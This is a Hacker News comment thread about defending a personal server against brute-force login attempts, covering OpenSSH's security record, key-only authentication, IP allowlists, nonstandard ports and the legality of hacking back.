| It does get rid of a lot of noise in your log files. Plus,
| it's foolish to assume ssh is bug free.
| tptacek wrote:
| There hasn't been a pre-auth remote vulnerability in
| stock OpenSSH since 2002. It is not for lack of looking.
| OpenSSH is one of the hardest targets on the Internet: I
| trust my kernel less.
| raggi wrote:
| I've been enough in the SSH code to be somewhat terrified
| by it. The main server loop has so many nested macro
| conditionals it's exceptionally difficult to read
| precisely.
|
| That said, fail2ban had an RCE in the last year, so if
| we're considering trustworthy surfaces, I definitely
| agree and practice that I trust openssh a whole lot more
| than a lot of other software that may come up in the
| discussion.
| tptacek wrote:
| qmail has one of the most notoriously inscrutable
| codebases of all time, and it has a startlingly good
| track record, because there's a coherent security design
| behind it; the same --- to a greater extent! --- goes for
| OpenSSH.
| raggi wrote:
| There's a side of this that I agree with, however there's
| other sides.
|
| The reason I've been in the code base a bunch is because
| I've taken on support of forks bootstrapped by others in
| various scenarios.
|
| Design safety goes a fairly long way, but it's so easy to
| screw up patching code shaped this way. I might trust the
| core, but I don't trust external patches.
|
| The problem in practice is, distros can't help
| themselves.
| tptacek wrote:
| I wouldn't trust external patches to OpenSSH either.
| criddell wrote:
| Exactly. You are trusting that sshd, the OS, RAM
| controller and CPU are all bug free.
| cm2187 wrote:
| The problem is that you are also at the mercy of passwords
| selected by your users for smtp, imap, etc. So you still need
| some defence against brute force.
|
| For administrative protocols (ssh, rdp, etc), I am a firm
| believer in IP whitelists, which give you the additional peace
| of mine of protecting you against future zero days, unless they
| affect the firewall.
| lima wrote:
| Nowadays, if you accept plain user-chosen passwords on SMTP
| or IMAP, you're already in trouble anyway. Often, the
| attacker doesn't even have to guess because your users likely
| re-used the same password across different services...
| fabian2k wrote:
| For SSH simply disallowing passwords entirely removes this
| problem. For me that's the one single thing that dramatically
| improves defense against any kind of brute force or
| untargeted attack.
| Topolomancer wrote:
| That's an excellent point. I painted myself into a corner
| here because I am letting some of my friends use the server
| as well. Have to gently transition them to public key usage
| only now.
| bombcar wrote:
| You can restrict password auth to particular
| users/groups, which also greatly reduces the attack
| vector.
| zinekeller wrote:
| I'm actually shocked that you're the first one to mention
| it. Only use public key logins and if you're not targeted
| and if it's practical in your workflow change the port
| (definitely _not_ for security, only so that sshd won 't
| eat as much CPU time from bruteforce attempts).
| cube00 wrote:
| Just make sure you don't use a port any higher then 1024
| or else a non root process can start up and take its
| place if the real one crashes.
| arc-in-space wrote:
| Oh, good to know, I will ignore this advice and excitedly
| await for this to happen to me
| ValtteriL wrote:
| "I am wondering whether it would be legal to try to automatically
| check for known exploits, in order to 'p0wn' the wannabe-attacker
| and disable their system instead."
|
| Absolutely illegal. Don't do that.
|
| Also, if your setup is enough at controlling the nuisance, why
| bother?
|
| --
|
| Good work though, liked the visualization of attacker IP
| locations!
|
| Have you considered running at least SSH on nonstandard port?
| ganzuul wrote:
| What about hold your ground laws, or self defense? It may be
| time to consider these.
| LinuxBender wrote:
| Those are generally for humans defending themselves in life
| threatening situations. I would suggest talking to a lawyer
| if you are going this route.
| ganzuul wrote:
| I'm not. I wish to consider if defending one's home might
| include defending one's electronic presence, however that
| may manifest itself.
|
| For example, you have a home security system that you
| monitor from your mobile device. Perhaps you have your pet
| at home, there have been break-ins in your neighborhood,
| and just after someone showed up on your doorstep the CCTV
| feed cuts. You are not at home and the cops are busy. - But
| you have the skills to defend your home's electronic
| presence. You suspect a life, your pet, may be in danger so
| you have a good motive.
|
| What then?
| LinuxBender wrote:
| I totally get the idea and I agree with the intent.
|
| There are some places that allow defending a home _using
| automation_ using non lethal force but even that comes
| with some risk of civil legal issues. This is why I
| suggest consulting with a lawyer. Even with non lethal
| means one would want to ensure it is legal in their
| location and that they have the proper signs with
| appropriate verbiage and mitigating controls in place
| first. Also understanding what laws are enforced and how
| they are enforced in your particular area is useful. My
| own personal solution was to move to a location that
| supports your idea and the Sheriff would likely high-five
| me if I take out the trash. There are trade-offs of
| course and hopefully such things are never required.
|
| There was talk at one point of creating laws that
| supported counter-hacking but those never happened and it
| is highly unlikely they would ever pass. Proper
| attribution is hard enough. There are endless rabbit
| holes of problems such laws would create. At a minimum
| there would be a vastly increased requirement on
| everyone's part to increase audit trails and data storage
| alone would become a booming business, far more than it
| already is.
| kortilla wrote:
| > There are some places that allow defending a home using
| non lethal force but even that comes with some risk of
| civil legal issues.
|
| You can defend your home with lethal force in many states
| in the US. No verbiage, signs or disclaimers required.
| LinuxBender wrote:
| Agreed, though AFAIK only if it is you doing the
| defending of yourself and your family, not automation,
| not _booby-traps_. This discussion started around
| defending property remotely vs. defending ones own life
| in jeopardy.
| Topolomancer wrote:
| Thanks!
|
| I was debating the nonstandard port, but I left it like this to
| simplify connections for my users. If the traffic starts to
| continue like this, I might be forced to switch, though.
| Sami_Lehtinen wrote:
| My servers currently ban in average 1200 individual addresses and
| around 20 /24 cidr network addresses, which is triggered after N
| individual addresses in a specific subnet size gets flagged. The
| amount of abuse traffic is ridiculous.
| 37ef_ced3 wrote:
| Anecdotally, I run a several servers hosting several websites and
| several Android app back-ends.
|
| Every few weeks they are attacked: 12 hours of attempted logins,
| port scanning, etc.
|
| It's perfectly normal and nothing new.
| tiku wrote:
| I'm still thinking about adding some Chinese forbidden texts to
| my headers to block them using their own firewall. Recently
| Russian IPS started to attack me as well, so perhaps adding
| something about the war would help block them as well? Any ideas
| from you guys?
| belter wrote:
| https://en.wikipedia.org/wiki/Winnie-the-Pooh
___________________________________________________________________
(page generated 2022-03-13 23:00 UTC)